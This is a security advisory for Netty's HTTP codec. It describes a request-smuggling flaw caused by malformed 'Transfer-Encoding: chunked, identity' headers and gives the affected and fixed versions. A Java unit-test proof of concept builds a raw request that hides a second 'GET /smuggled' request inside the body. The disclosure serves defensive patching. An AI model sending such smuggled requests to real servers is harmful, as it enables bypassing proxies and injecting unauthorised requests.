GHSA-38f8-5428-x5cv
Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Maven | io.netty:netty-codec-http | >= 4.2.0.Alpha1, < 4.2.13.Final | 4.2.13.Final |
| Maven | io.netty:netty-codec-http | < 4.1.133.Final | 4.1.133.Final |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.
### Details
Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present.
According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length
"
If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,
the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)
status code and then close the connection.
"
A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.
### PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.
```java
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked, identity\r\n" +
"Content-Length: 48\r\n" +
"\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
assertTrue(request.headers().contains("Transfer-Encoding"));
assertFalse(request.headers().contains("Content-Length"));
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
```
### Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
References
External links from the advisory. They lead to third-party sites.